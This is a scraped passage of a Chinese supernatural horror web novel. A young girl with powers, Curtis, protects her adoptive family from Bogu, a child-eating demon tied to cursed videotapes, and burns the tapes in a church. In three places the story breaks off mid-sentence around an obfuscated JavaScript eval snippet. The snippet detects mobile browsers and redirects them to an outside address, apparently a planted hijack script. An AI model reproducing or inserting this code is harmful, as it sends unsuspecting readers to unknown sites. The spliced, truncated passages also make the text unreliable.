亚当却不肯回答了,只是冲她比了个嘘的手势:“嘘,这是秘密。” 糟糕的秘密。 科蒂斯内心接了一句。 两人刚出树林,就撞见急得快发疯的玛莎,又不免遭到一顿批评,被赶回了家。 在科蒂斯都没发现的树林深处,一个人影悄然出现。 他穿着考究的西服套装,体型高大瘦削,半长的黑色头发凌乱地垂在肩上,半掩住一张苍白的魔鬼面具。 面具嘴巴的部位刻上了细密的黑线,给人一种缝上了嘴唇的感觉,眉骨的位置做的很突出,显得双眼分外凹陷,眼尾又故意做的上挑,像是魔鬼在发怒。 此刻,那双深渊般的眼睛注视着女孩儿的身影,眼神炙热。 良久,面具里面传来闷闷的声音。 “So special。” 20.第 20 章 一天过去,克里斯还是没有回来,而玛莎还在有意隐瞒,再联系到在玛莎手机上偶然瞥见的驱魔讲座,科蒂斯意识到了什么。 两人一定是遇见了诡异的事,或者说撞见了诡异事件发生在了某个人身上,某个深爱的人…亚当。 科蒂斯心里有了计较。 原来,她并不是头一个发现亚当不对劲的。 科蒂斯不打算阻止,因为对于一对普通人类夫妻来说,找驱魔人求助已经是他们能想到的最好办法。 她不再去打探克里斯的行踪,甚至帮着玛莎隐瞒。 只不过,亚当身上的问题,还是要想办法解决才行。 待玛莎睡下后,科蒂斯偷摸溜到了书房。书房平时是克里斯的工作室,为了工作,他安排了一台性能一般的电脑在这儿。 科蒂斯借着电脑搜索起博古的名字。 跳出来信息很多,杂乱无章。 她撑着头想了想,又加上了恶灵、传说这些关键词,这一次,搜出来的信息减少许多,一条古巴比伦邪恶传说映入她的眼帘。 在传说中,博古是古老巴比伦异教神祇,是火神与死亡之神摩洛的兄弟,外号“食童者”,以吞噬孩童灵魂维持力量、穿梭两界。 搜索词条配的图是一张极具有宗教色彩的黑白插图。 图中的博古身形高挑瘦削,僵硬扭曲的身姿像是枯朽的腐树,眼神空洞、皮肤惨白,整张脸像是带了张面具一般,嘴巴的部位则是被细密的缝线封死,根据传说是因为他模仿兄弟摩洛的献祭仪式而遭到对方的惩罚。 虽然来到这世界不久,但科蒂斯从短短几次经历里看出,这里许多神话都并不是空穴来风,圣经上的那些记载或多或少都有可信之处,所以对于这条传说,科蒂斯不敢轻看。 更何况,亚当能叫出博古这个名字,就足够说明很多事。 科蒂斯脑中灵光一闪,同为传说中的恶灵,玛拉会知道更多关于博古的线索吗? 这样想着,科蒂斯喊出了玛拉的名字。 后脖颈处掠过一阵冷风,激起一片鸡皮疙瘩。 科蒂斯回头,见玛拉正贴在自己身后,黑发白裙,面容绝美,那双特殊的眼睛直勾勾地盯着她,莫名尝出几分哀怨。 女孩儿面带疑惑地歪了歪头:“你是在埋怨我不允许你继续杀人吗?” 玛拉不置可否,没有对这个问题表现出分感兴趣,反而是瞅着女孩儿因歪着头而轻微鼓起的脸颊。 她微垂着睫毛,忽的伸出手捏住了科蒂斯的脸颊,没有用很大的力道,只是将那带着婴儿肥的脸蛋扯起来,指尖搓了搓。 女孩儿略显迷茫地睁着圆圆的蓝眼睛,像只小鹿。 又一只干枯的手从旁伸出,拍开玛拉作乱的手。 伊迪丝把科蒂斯抱在怀里,长发飞舞,张牙舞爪地向玛拉示威。 玛拉掀了掀眼皮,无聊地撑着脸。 “没事妈妈,”科蒂斯拍拍伊迪丝的胳膊,以示安抚。“小姨没有想伤害我。” 听她这样说,伊迪丝才放下戒备,收回长发,只是双臂还是虚虚拢着科蒂斯,保持着随时能带她撤走的状态。 “你得知道,我不能允许自己的家人是滥杀无辜的大坏蛋。”科蒂斯说的很理所当然。 她理想中的家人必须是普通又完美的,就像玛莎和克里斯那样,但对于恶灵,科蒂斯的要求便降低到只要不杀无辜的人就行,毕竟她自己手上也不少人命。 科蒂斯离开伊迪丝的怀抱,微凉的小手抚过玛拉月光一样洁白美丽的脸颊。 “我只是太想要一个普通的家了,就跟世界上的其他人一样,所以,别怨我好吗?小姨。” 玛拉鼻子中轻哼了一声,算是勉强应允。 科蒂斯提了提唇角。 “言归正传,我喊你是有事要问。”科蒂斯回到电脑前,指着博古的照片。“你认识他吗?” 玛拉扫过一眼,懒洋洋地点了点头。 科蒂斯沉吟道:“如果让你和他打一场,你能打的过吗?” 玛拉怔住,好半晌,沉默地伸出手比了个三。 科蒂斯:“三分把握?” 玛拉眼角抽了抽。 科蒂斯懂了,是她只能全力拖住对方三分钟。 作为古老的邪神,博古的力量太过强大,而玛拉只是低阶恶魔,要对付他实在是有些为难。 好吧,那看来不能让妈妈和玛拉轻易出手了。 科蒂斯眉心微蹙,思考着解决办法。 额头忽然贴上一股凉意。 她向上看去,玛拉修长的手指抚过她的眉宇,那双没有瞳仁的双眼流露出些许担忧。 科蒂斯有些意外,没有想到玛拉会对她表现出关心,毕竟当初自己是坑她做的家人,她还以为玛拉肯定连见她都不愿意。 不过她转念想到自己在系统内写下的两条铁则,眼底划过一丝了然。 “还不清楚,”科蒂斯没有对两位隐瞒。“但他有可能盯上了我的家人,也许正筹谋着怎么杀死我。” 两个恶灵一齐激动起来,邪风鼓动,黑发飞舞,她们围住科蒂斯,拉住她就要带她走。 “不。”女孩儿的声音很轻,却足够坚定,阻止了两位关心则乱的家人。“我要保护我的家人。” 两个恶灵都知道,女孩儿一旦下了决定,就没人能阻止。 玛拉微眯起眼睛,一向对人类没有感情的她,此刻却觉得心慌意乱。 老实说,在被某种契约强行控制成为女孩儿的家人时,她很愤怒,恶魔天生爱自由,所以她一度想杀死控制她的女孩儿。 但是后来她发现,这份契约除了限制她杀人之外,好像没什么坏处。 她有了以本体来到人间的力量,不再是虚拟的投影,也不用按照规则等到收取灵魂时才能短暂出现。 被女孩儿“控制”后,她反而得到了曾经想要的自由。 她不用再一直待在暗无天日的地狱,不用背负规则,能在两界自由走动,她喜欢这种感觉。 或许正因如此,她那颗空洞的心,注入了只对女孩儿起反应的某种特殊东西。 而现在,那样特殊的东西正在扰乱她的思绪,令她不能理性思考,甚至产生去寻找沉睡的主人海拉的想法。 她晃晃头,把这个想法扔出脑海。 先不说自己能不能找到海拉,只说要是她要是知道了自己被人类控制,成为所谓的家人,女孩儿的灵魂恐怕就要不保了。 玛拉想了想,告知了女孩儿一个应对的办法。 只要能一次性毁掉博古的全部载体,就能暂时驱逐他。一定要是全部,只要有任何一个遗漏的,博古都会继续缠着他们,而破坏掉的载体,也都会自动恢复。 载体是什么? 科蒂斯现在还是一头雾水。 她又接着查起录像带中的五起灭门惨案,她可没忘记,就是在看了录像带的画面之后,亚当才变得反常,所以二者必有关联。 虽然当时只是匆匆一瞥,但科蒂斯还是记住了所有的关键字。 2011年,家庭聚餐;1998年,睡觉时间。这两起的时间是最近的,能搜到的消息也就更多。 对于这类惨绝人寰的新闻,网上流传着不少或真或假的报道,一一筛过离谱的不像话的报道后,科蒂斯确定了,在每起凶杀案中失踪的孩童,正是来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17443570|200242||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 骚扰过她的那五个亡魂。 很好,这点倒是没骗她。 那么问题来了,亡魂口中的杀死他们家人又控制他们灵魂的恶魔,亚当口中的博古,以及邪神博古,他们是同一个吗? 如果是,博古为什么要单独留下那五个孩子,在拍下杀死全家的全过程后,再杀了他们,囚禁他们的灵魂? 是因为他享受孩子们在看到家人被折磨致死时的恐惧?还是说那是某种特殊的献祭仪式? 玛拉所说的载体,会是那些录像带吗?还是说是失踪孩子的身体?他找上亚当是将他当成了下一个载体吗? 科蒂斯脑中一团乱麻,电脑幽蓝的光照在她脸上,晦暗不明。 答案都在录像带中。 这个想法不断往外冒,促使她去偷录像带回来。 科蒂斯用力掐着手指,暂时将这想法压下去。 急不得。 一急就会落入陷阱。 脸颊忽然被一双冰凉的手碰住,玛拉的额头凑了过来,与她的相抵。 如梦似幻的清冽嗓音跳过耳朵直接传入她的大脑。 “没关系,我们在这儿。” 科蒂斯眼皮子往下掉,落入梦境与清醒的交界中。那双没有温度的手抱住了她,安抚地在她背上游走。 半睡半醒之间,清冷好听的声音继续钻进她的脑中。 “如果到了万不得已的情况,你就想办法找到他的本体,我们有机会重创他。” 冰凉的手指又捏了捏她的鼻头:“别忘了,你很特别。” 不,我并不特别。 科蒂斯想回应,却不受控地打了个哈欠,身子软倒在玛拉怀里。 玛拉抚摸着女孩儿的睡脸,神色竟然显露出几分慈爱。 伊迪丝上前,抢过科蒂斯自己抱着,又警惕地朝玛拉无声嘶吼。 但在望向女孩儿时,那张面目可憎的脸又格外温柔。 她稳稳地拖住女孩儿幼小的身体,送她回房间。 玛拉不在意伊迪丝的敌意,最后瞧了眼熟睡的女孩儿,慢悠悠地走入黑暗中。 冷风吹过,电脑自动关机,门吱呀一声轻响,合上了。 ……… “科蒂斯,科蒂斯,醒醒。” 科蒂斯睡得正香时被人摇醒,模糊的大脑渐渐清醒。 噢,玛拉,为什么突然对她使用能力。 她略微不满地皱着眉,眸光冷凝,与摇醒她的亚当对上视线。 亚当朝她笑笑:“你醒了,科蒂斯。” 科蒂斯眨动一下眼睛,身上的冷意散去,变回天真温柔的小姑娘。 “亚当,为什么要吵醒我?”她揉着眼睛起身。“已经很晚了。” “我知道。”亚当睁圆了眼睛,极其兴奋。“但是我有东西给你看!来嘛!” 他抓着科蒂斯的手,不由分说地带着她走。 科蒂斯心里提起警惕,在亚当带着她上阁楼后,这份警惕愈发加重。 “亚当,你到底要带我看什么?”她问。 “你很快就知道了。”亚当神秘地笑笑。“是你见过的哦。” 上了阁楼,答案总算揭晓,但科蒂斯的脸色并不好看。 因为在阁楼的地板上,一台极为眼熟的、不该出现在这里的老式录像机运行着,它前方的幕布上,正投着一家人被拖入水中溺亡的画面。 科蒂斯看了眼放在地上的录像带盒子,上面写着——1966年,泳池派对。 她的心脏沉了下去。 亚当还在激动地对她说:“我的朋友们告诉我说,博古先生想认识你,他喜欢你科蒂斯!” 噢,去他的喜欢。 21.第 21 章 科蒂斯的身子在轻微颤抖,不是害怕,而是愤怒。 “亚当,”女孩儿声音却出奇的冷静,指着幕布上的人问道。“你说的朋友是他们吗?” “是的!”亚当还沉浸在兴奋中。“他们教了我很多东西,我本来也想介绍你给他们认识,但他们害怕见到陌生人。” 害怕?当然怕了。 如果再见到他们,她一定要把那五个亡魂撕碎。 “看!那就是博古先生!”亚当笑着,天真地指着画面上的一处角落。 科蒂斯仔细看去,在画面的一角看到了那个身穿黑色西装、戴着白色恶魔面具的男人。 高大瘦削,嘴巴位置有细密的缝线。 这个形象,和圣经中描述的一模一样。 明明只是个模糊的影子,可科蒂斯却觉得它在透过幕布看着自己。 科蒂斯闭了闭眼睛,脑中的毛线团逐渐理清。 邪神博古,就是制造灭门之案的恶魔。 那么他的载体,会是这台录像机,以及这些录像带吗? 她一边思考,一边问亚当:“亚当,这些东西是从哪里来的?我记得爸爸不是把它送到警察局去了吗?” 亚当眨了眨眼睛:“我的朋友们给我的,他们说这是备份。” 科蒂斯对此不置可否,她搓了搓手臂,故作柔弱:“可你为什么要一个人在这里看?而且,这些录像好怪,有点恐怖。” “就是为了不再害怕我才看的。” 亚当说,他很认真地看着女孩儿,小小的手掌举起,成年人似的搭上女孩儿的肩膀。 “我想成为你最棒的守护者。朋友们告诉我,等我看完了所有的录像,我就再也不会害怕了,这样我就能更勇敢地保护你,科蒂斯。” 女孩儿眸光微颤,心情逐渐复杂。 居然反而是因为她吗?明明不需要的。 科蒂斯觉得心脏暖暖的,疼疼的,新奇的感觉让她手足无措。 从没接受过情感培训的她,不知道以怎样的态度去面对这样真挚直白的感情。 这也是拥有家人的感受吗? 她不清楚,从别处学来的知识到底还是不够用。 “可惜博古先生不来这儿,”亚当保持着笑容,眼底却闪过一丝呆滞。“他说他在上个房子等你,如果你有时间,可以抽空去见见他。你会喜欢他的,他是个特别博学的人。” 科蒂斯的心脏重新安定下来,神情恢复往日的平淡,她直勾勾地盯着亚当,直到将男孩儿看的心里发毛。 “怎么了科蒂斯?”亚当挠了挠头,不明就里。 “没什么。我会去见他的。”女孩儿冷冷地说。“现在是睡觉时间了,亚当,回去吧。” 亚当不舍地看着暂停的画面:“但是…” 科蒂斯软下神色:“哥哥。” 亚当完全没办法抵抗可爱妹妹的撒娇,只好妥协:“好吧,我知道了,晚安科蒂斯。” 科蒂斯:“晚安哥哥。” 阁楼的门打开又合上,现在只剩下科蒂斯与录像机。 她停掉了机器的运行,放回薄铁皮箱,抱起箱子出了门。 他们一家人逃不掉了,未来的命运会跟录像中那五家人一样,全家死亡,只余亚当亲眼见证灭门后再被杀死。 她的动作还是太慢了,必须在今晚就解决这一切。 亚当不能出事,玛莎和克里斯更不能出事。 女孩儿来到外面,停下脚步。 现在这个时间,连末班车都没了,她得想个办法去那栋别墅。 思来想去,科蒂斯只能想到一个人。 她找到社区里的公用电话亭,拨通了一个号码。 响铃十几秒后,电话才被接通。 “是谁?”沙哑低沉的中年男性嗓音传来,带着被打扰的不悦。 科蒂斯压着嗓子,改变声音:“是我。” 对面静默几秒,然后传来窸窸窣窣的起床声音。 “K?”这一次对面的声音显出几分焦灼,但很快被压下去。“有什么需要我的?” 科蒂斯意外地挑动了下眉头,她没想到对面会答应的如此爽快。 “我需要你送我去个地方。” “给我地址。”非常简短的回答,没有任何疑问,这样的信任令科蒂斯意想不到。 她报出距离社区两公里外的街道名字,以及别墅的具体位置。 对方挂断了电话,只留下一句等他。 科蒂斯在原地愣了几秒,才挂上电话前往目的地。 已经到了深夜,街上没什么人游荡,只有些流浪汉缩在角落,还有不务正业的醉鬼和毒虫摇摇晃晃。 科蒂斯一路都隐匿着自己的身形,避免被发现自己只是个五岁的小女孩儿。 等她到了约定的地点没几分钟,一辆黑色的小车也停在了她的面前。 车窗摇下,露出张凶神恶煞的中年男人的脸。 来人正是道吉。 “上来吧。”道吉摆手示意。 等科蒂斯坐上副驾,车辆缓缓启动。 “这给你。”道吉扔给她一部手机,款式是那种很旧的按键机,但明显是新买的。“它不能被下载追踪软件,你关机之后也没办法找到。另外里面只有我一个人的电话,如果你之后还有需要我的地方,可以通过这个联系我,公共电话虽然更安全,但不方便。” 说的很有道理,科蒂斯便收下了这份礼物。 道吉一边开着车,一边不准痕迹地打量了一眼身旁的女人。 她依旧穿着那件红色的连帽棒球服和棕色的棒球帽,常见的一次性口罩遮住了她的大半张脸,只露出一双眼尾上挑的黑曜石般的眼睛。 女人一如既往的沉默、神秘,正是这份神秘带给道吉无与伦比的安全感。 玛拉消失之后,K也消失了,这曾让道吉以为她是幻觉。这种认知让他恐慌,他害怕如果K是幻觉,那么玛拉会不会再卷土重来? 好在,她又来找他了,他确定她不是幻觉。 道吉的心落回到肚子里,心情是许久以来的不曾放松。 到了目的地,道吉也没有离开,而是在门口守着随时准备走,在看着女人进了空荡的别墅后,才点上一根烟提神。 科蒂斯直接上了阁楼,没有耽搁,开始放映。 第一卷录像是看过的家庭聚餐,在一家人齐齐上吊后便没了后续。 接着是第二卷,烧烤。同样,一家人在汽车里没活活烧死后画面也停下。 第三卷,第四卷…科蒂斯认真看着,突然发现一个共同点。 所有的录像中都出现了同一个符号,一个不对称鸟头,周围一圈像是某种冠饰,线条硬朗,有着古巴比伦泥板刻符的古朴感。 符号有时候出现在墙上,有时候出现在车上,而只要它出现,博古的身影也必然在某个角落里。 他像阴沟里的老鼠、像脚下的影子,跟随着每户家庭,于阴影中窥视每户人家,从家庭完美走向灭亡。 他享受这个过程,更爱结局时的死亡高潮。 但是,为什么要先留下一个孩子? 科蒂斯还是不懂这一点。 真的只是博古的特殊癖好吗? 女孩儿看的认真,完全没注意,身后不知何时起站着的五个亡魂的身影。 他们凝视着女孩儿的背影,瞳孔紧锁,一瞬不瞬。 阴风刮过,科蒂斯捂住后脖颈,后知后觉地回头,斯蒂芬妮五人像是被操纵的人偶般,视线没有偏移分毫。 女孩儿没有害怕,站起身来,日常没有表情的脸上染上一丝不易察觉的愤怒。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17446456|200242||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“是你们主动找的亚当?” 五人没有回答,木讷的神情让科蒂斯明白了什么。 “博古在哪儿?” 这一回,五人总算做出反应,他们齐刷刷抬头,看着科蒂斯身后。 下一秒,一只戴着黑色贴身乳胶手套的手,按在了女孩儿的肩头。 闷闷的声音伴随一阵凉意,钻进女孩儿耳中。 “我就知道你会来,科蒂斯。” “My special girl。” 科蒂斯瞳孔微缩,她回头,与这位传说中的邪神面对面。 高挑瘦削,齐肩黑发,白色的面具似是照着恶魔的脸做的,凶恶可怕。 “为什么找我?”科蒂斯问,语气并没有多大变化。 博古貌似是对女孩儿的反应很感兴趣,以至于胸腔中发出了类似笑的声音。 “因为你很特别,我想让你加入我们。” 科蒂斯:“亚当呢?” “他只是引子。”黑色的手套蹭上女孩儿白皙的侧脸。“我知道你是个警惕过头的女孩儿,所以只好从你在乎的人入手。” 他弯下腰,白色的面具抵着科蒂斯的耳垂,吐出的话语像有魔力一般缠绕住她。 “你的灵魂藏着不与身体相匹配的成熟和力量,我很喜欢你这样的孩子。加入我们吧,你不会再感到害怕,也不会再觉得悲伤,世界上的一切不美好将都跟你无关,你将得到最极致的快乐。” 科蒂斯虚了一旁五人一眼,嘴角挑起一抹讽刺的弧度:“可是看着他们,你的话好像并不可信。他们很怕你,听说你不仅囚禁他们,还加以虐待?” “谣言。”博古揉了揉科蒂斯的头顶。“而且,你比他们要特别的多,所以我会保证你从我这儿得到的也会比他们更多。” 科蒂斯抬眼:“代价是死亡?以及我全家的性命?” 博古语气坦然:“那是必要的牺牲,而且,你的家人是成了完美作品的一部分,他们失去的只是生命,得到的却是不朽的艺术。” 科蒂斯勉强听懂了他的疯言疯语,她歪了歪头:“那也算是艺术?” “自然。”博古眼神炙热,言语中是满满的兴奋。“看到他们临死前的表情了吗?痛苦、震惊、绝望、释然、悔恨…噢,任何语言都没法描述的画面,难道不让人着迷吗?” “而取走他们性命的时候,那一刹那的快感远胜一切。你懂那种掌握他人生死的感觉的,我知道你懂。”博古的手掌放在了科蒂斯头顶。“我看到你推那个女人时的表情了,你在笑。虽然笑意很浅,但你的笑很畅快。” 科蒂斯变了脸色。 恶魔还在继续诱哄:“装成正常人跟家人一起生活很辛苦吧,压制自己的欲望很难受吧?跟我走吧,从此你不用再伪装自己。” 女孩儿低着头,神色莫名。 恶魔觉得稳操胜券,继续欣赏自己的作品,顺便等待女孩儿的同意。 “这些就是你全部的作品?”趁他心情好,科蒂斯不动神色地问道。 “是的,”博古随口回答。“别担心,你的家庭将会成为最特别的一个。” “噢,我真荣幸。”科蒂斯说着,表情却没有什么变化。 博古笑了一声,以为自己赢了。 可下一秒,女孩儿动作利落,飞身来了一记完美的飞踢,力道大的逼他退后两步。 趁这间隙,女孩儿抱起录像机和录像带往那扇圆形窗户冲过去。 娇小的身躯里爆发出惊人的力量,整个人狠狠撞了上去。玻璃应声碎裂,无数碎片在空中飞溅,在月光下闪烁着道道光痕。 而在万千光痕之中的,是女孩儿单薄漂亮的背影,如蝴蝶般振翅。 博古愣愣地看着这一幕,有些痴了。 “美丽的艺术。”他喃喃道。 22.第 22 章 科蒂斯坠下楼,在念动力的托举下稳稳落地,她闷着头往前跑,不敢停下。 浑身被玻璃碎片划出的伤痕往外冒血,她也没工夫去管。 一头扎进车里,科蒂斯急忙喊道:“快走!” 掐灭烟头,道吉二话不说启动汽车离开。 别墅渐渐远去,博古也没有追上来的意思,科蒂斯这才松了口气。 身上的刺痛迟缓地涌上来,全身上下都火辣辣的,她抹了把颈侧,一手的鲜血,一条大口子往外翻着粉色的血肉。 科蒂斯的眉头微不可查地皱起,又很快放平,仿佛并没有感觉到浑身的痛楚。 她是个擅长忍耐的人。 在公司的十几年,她和其他魔女早就习惯了受伤与疼痛。 没办法,他们不得不习惯,因为每隔一段时间就会有人用各种武器割开她们的身体,只为了测试魔女的愈合能力。 好笑的是,虽然她的能力强度是最弱的,但她的愈合能力却是一等一的好,只要不毙命,她就能在几分钟里恢复,当然,恢复的次数并不是无限的,她总会力竭。 可尽管如此,在整个公司,这份自愈能力也只有第一魔女具子允前辈能跟她媲美。 噢,这并不算好事,公司为了探寻她的极限在哪儿,会对她做更多的实验切割,久而久之,她的忍耐阈值不断拔高,超过了所有魔女。 可又很好笑的是,她能在公司里活那么多年,有一部分还得感谢她这份较高的忍耐度。 科蒂斯闭了闭眼睛,不让自己回忆起上辈子。 手再摸向颈侧时,血已经止住了,伤口快去愈合,传来阵阵痒意。再过几分钟,这道伤口就能痊愈。 而身上其他肉眼可见的小口子,现在也都只剩下一条条白色的疤痕。 “直接回原来的地方吗?”一直安静开车的道吉,头一次开口询问,简单直白,却也不带其他不该有的疑问。 科蒂斯静默两秒,说:“不,我们去另一个地方。” 所有事情,都得在今晚解决。 车辆拐弯来到一处老教堂,这里没什么人,周日来祷告的人都很少,日常只有一位老神父来管理。 教堂大门落了锁,道吉跟着下了车,掏出手/枪对着锁孔来了一枪。 “我在车上等你。”收回枪,道吉回到车上做好司机的工作。 科蒂斯带着铁皮箱子往教堂内走,可刚踏进一步,一股强大的排斥力便从怀中的箱子爆发! 霎时间,狂风四起,裹挟着科蒂斯,似是要连她也一同吹跑!逼得她再难往前进半分! 薄铁皮箱子开始抖动,幅度越来越大,里头仿佛是有什么存在在叫嚣着,要钻出来逃跑。 科蒂斯咬着牙,眉头紧锁,瘦弱的双臂死死抱住箱子,一点点往里蹭。 余光中,一道黑色的身影悄然站立,他静静欣赏着女孩儿的抵抗,没有出手,宛如一位事不关己的观影人。 科蒂斯还摸不准恶魔的心思,但不管是出于什么原因,只要他不出手,自己就有机会。 铁皮箱子的震动越来越强烈,哪怕用上了念力,科蒂斯也快要抱不住了。 她咬紧牙关,手上力度加大,箱子的边缘嵌入手指,鲜血流出。 一旁的道吉哪怕没有看见鬼魂的能力,在看到这种场景也知晓一定又是恶灵在作祟。 他没有丝毫犹豫,提着一口气冲上去,用尽全身的力气撞上女孩,带着她一起倒进教堂内。 瞬间,所有的动静都停息了。 科蒂斯爬起来,一股脑将箱子里所有的东西倒出来,她举起录像机,摔在地上砸的稀烂,又扯出所有的带子搅得一团乱。 光这些还不够,科蒂斯要来道吉的打火机,点燃了所有。 火面一开始很微弱,可在碰到录像带时,忽然一下子窜起,熊熊燃烧起来。 火焰舔舐着录像机,阵阵刺耳的声音发出,好像是正常的塑料烧融的声音,又好像是某种未知的啸声。 道吉听着,不由得退后一步,喉咙发紧,但在瞥见女孩儿平静的双眼时,又冷静下来。 焰光在科蒂斯脸上跳跃,忽明忽暗,她抬头看着窗外。 目光穿过教堂的窗户,透过浓墨般的夜色,与立在外面的恶魔相交。 博古挺着身子,白色面具下,那双深渊一般的眼睛诡异地映上一抹火光。 良久,他似乎叹息了一声,像是赞叹,又像是遗憾。 最终,科蒂斯看着他的身形逐渐消散。 她心头一松,浑身的压力散去。 “结束了吗?”道吉不清楚现状。 科蒂斯:“嗯。” 道吉:“送你回去?” “好。”科蒂斯说,顿了顿,又补上一句。“谢谢。” 道吉诧异地看了她一眼,摇了摇头:“永远都不需要。” 说着,为她拉开车门。 …… 第二天吃早餐时,科蒂斯便发现玛莎的情绪好了很多。 还不等她旁敲侧击地问,玛莎就主动说:“你们爸爸总算忙完了工作,估计今天晚上就能回来了。” 喔,来回一趟差不多是这个时间。 科蒂斯一边吃着碗里的燕麦粥,一边观察着亚当的神色。 男孩儿精神状态很好,没有犯困,也没有不自然的出神呆滞。 以防万一,科蒂斯还是开口问道:“亚当,你的朋友们和博古先生还来找过你吗?” “额…”亚当挠挠头,迷茫地眨着眼睛。“博古先生是谁?至于我的朋友们,你是指哪些呀科蒂斯?” 他的朋友们实在是太多了。 科蒂斯动作一顿,说:“就是你想介绍给我认识的呀,你说懂得很多的那个。” 亚当越发迷茫,小脸皱成一团,似是真的不知道科蒂斯在说什么。 见状,科蒂斯心下稍安,也不再追问,只是说:“没什么,可能是我记错了吧。” “好吧。”亚当耸耸肩,也不在意,他的注意力更多的在这碗不加糖的麦片怎么这么难吃上。 趁着玛莎去厨房,他悄悄往自己碗里舀了几大勺蜂蜜和巧克力酱。 加完之后,后知后觉地冲科蒂斯竖起食指:“嘘,妈妈不让我吃这么多糖。” 科蒂斯笑了笑,望了眼他碗里的颜色,不作声。 玛莎出来,看见亚当面前黑色的麦片时皱起了眉:“亚当?你是不是又偷偷加了蜂蜜和巧克力酱?” 亚当脖子一缩:“额…” 玛莎:“想好再回答,撒谎的是坏孩子。” “噢,”亚当鼓起脸。“是的妈妈。” 玛莎头疼地揉了把男孩的脑袋:“下不为例。” “Yeah!”亚当欢呼一声。 正常的反应,正常的场景。 她的家人们就应该如此平凡又温馨才对。 科蒂斯吃着甜甜的麦片粥,只觉得从胃到四肢都是暖暖的。 等晚上爸爸带驱魔师回来,她得提前让伊迪丝妈妈躲到外面去。 至于这栋房子,还是让驱魔师好好除一遍灵吧,以防万一。 用完午餐,玛莎准备带两个孩子出去玩,但亚当却拒绝了,说自己还是更想玩游戏。 玛莎没有过多关注,毕竟这对一个孩子来说很正常,便只让两个孩子待在家里,自己则是照常做家务,顺便看看喜欢的电视剧。 科蒂斯去敲了亚当的门,确定他真的只是在打游戏,她顺势提出加入,亚当很高兴,还递给科蒂斯一个手柄。 “按这个是前进,这个是跳,这个是攻击…”他手把手教科蒂斯操作,能和最爱的妹妹分享喜欢的东西,令他很高兴。 “对了,待会儿我的朋友们要来跟我一起打游戏,我们约好了要破纪录,一起吧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17449070|200242||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 科蒂斯,” 科蒂斯:“好。” 半个小时之后,几个男孩相约着一起敲响了家门,正是经常来找亚当玩的朋友,也是他在学校的同学。 科蒂斯彻底散去警惕,全身心投入到快乐的游戏时光中。 夜晚,美梦拖着一家人快乐又疲惫的身躯陷入深眠。 科蒂斯毫无防备地睡了过去,并让伊迪丝妈妈早早地离开,以防晚上克里斯带驱魔人上门的时候意外撞见。 一切都很宁静,连夜间的风声都安静下来。 凌晨两点十三分,宁静被打破。 科蒂斯是被浓烟呛醒的,那感觉糟糕透了。 还没搞清楚状况,她的身体就在第一时间替她做出反应。 翻身下床,撕下小块床单,塞进床头的花瓶里打湿后捂住口鼻。 带着青草味儿的凉意让科蒂斯彻底清醒,她左右看看,浓烟已经弥漫了大半个房间,门缝里还在源源不断涌进更多的烟进来,底下还能瞧见跳跃的火光。 妈妈,亚当…科蒂斯捂住口鼻来到房门前,拧动把手,门锁却一动不动。 门被人从外面锁住了。 得先救亚当…来不及思考究竟是谁,科蒂斯卯足力气用力撞上门。 砰的一声,门被撞开。 她快跑到隔壁,踹开门,第一时间跑到床边。 可是,床上空荡荡的。 科蒂斯摸了一把皱巴巴的床铺,是冷的,证明它的主人至少离开了一个小时。 一个令人胆寒的猜测逐渐形成。 科蒂斯没有时间多想,她还得去救玛莎。 火焰已经烧到了走廊,堵住了她所有的路。 科蒂斯迅速在心里做评估,确定没办法安全通过又退回了房间。她打开窗户,从二楼跳了下去。 这对她来说已经是轻车熟路,落地时不会发出任何声音。 从房侧绕回大门,科蒂斯发现果然正门也被人从外面锁住了,不仅如此,那人还特意在外面加了一条铁链,可见就是为了将她们困死在里面。 科蒂斯用尽全身力气撞了一下,大门纹丝不动。 虽然经过这几个月来的修养,她的力量正缓慢恢复,但现在她的力气还是只能匹配一个成年人。 她果断放弃正门突入,转而去砸较为脆弱的窗户。 这回很顺利地进入。 顶着浓烟,科蒂斯找到玛莎的房间,闯进去后才发现,玛莎倒在了地板上。 她的心狠狠揪了一下,查看后发现玛莎暂时是被呛晕了过去才平静下来。 她背着玛莎往外跑,在火焰中穿梭,部分火星燎到了她的睡裙,毁去大片,她也没在意。 跨过门口时,一阵破空声传来,科蒂斯条件反射地抓住。 那是根球棒,普通的随处可见,而现在,一端在她手中握着,另一端在亚当手上攥着。 科蒂斯眸光微凝,她不意外,也不伤心,纵火犯的身份在她去亚当房间查看时就有了预料,她只是生气,气自己怎么会犯那么愚蠢的错误,害得她的家人遭受如此折磨。 更气那个疯疯癫癫的恶魔,让她的家人不完美了,不完美的家人,还有什么存在的价值… 